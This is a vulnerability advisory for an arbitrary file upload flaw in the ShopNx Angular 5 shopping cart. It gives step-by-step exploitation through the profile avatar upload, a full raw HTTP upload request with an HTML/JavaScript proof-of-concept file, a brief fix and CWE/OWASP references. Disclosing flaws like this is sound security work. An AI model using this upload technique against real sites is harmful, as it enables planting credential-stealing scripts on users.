Title:
=======
ShopNx - Angular5 Single Page Shopping Cart Application 1 - Arbitrary File Upload
Introduction:
========
ShopNx 1 is an Angular 5 single page application which suffers from arbitrary file upload vulnerability .
Attacker can upload malicious files on servers because
the application fails to sufficiently sanitize user-supplied input.
========
Vulnerability Disclosure:
==========================
2018-06-17: Public Disclosure
Affected Product(s):
=====================
ShopNx - Angular5 Single Page Shopping Cart Application 1
Exploitation Technique:
========================
Remote
Severity Level:
================
High
Technical Details & Description:
=================================
There is no sanitization to prevent uploading files on node.js application .
Attacker can upload malicious html file (or other file) which contains javascript payload to steal user's credentials .
To exploit this vulnerability , follow these steps :
# POC :
1) Login as a regular user and navigate to "edit profile"
2) Click on "Avatar" and upload your HTML file which contains malicious javascript code.
3) You can find your uploaded file here :
Path : /uploads/[Your File]
# Request :
=========================
POST /api/media HTTP/1.1
Host: shop.codenx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://shop.codenx.com/account/edit-profile
Content-Length: 367
Content-Type: multipart/form-data; boundary=---------------------------31031276124582
Connection: keep-alive
-----------------------------31031276124582
Content-Disposition: form-data; name="file"; filename="file.html"
Content-Type: text/html
<html>
<head>
<title>FILE</title>
</head>
<body>
<script>
console.log(document.domain);
</script>
</body>
</html>
-----------------------------31031276124582--
=================================
Solution
=========
There is no sanitization on the file name or contents.developer must check and sanitize inputs to prevent this vulnerability.
https://www.wordfence.com/learn/how-to-prevent-file-upload-vulnerabilities/
Credits
========
L0RD
Contact
========
borna.nematzadeh123@gmail.com
References
==========
https://cwe.mitre.org/data/definitions/434.html
https://www.owasp.org/index.php/Unrestricted_File_Upload
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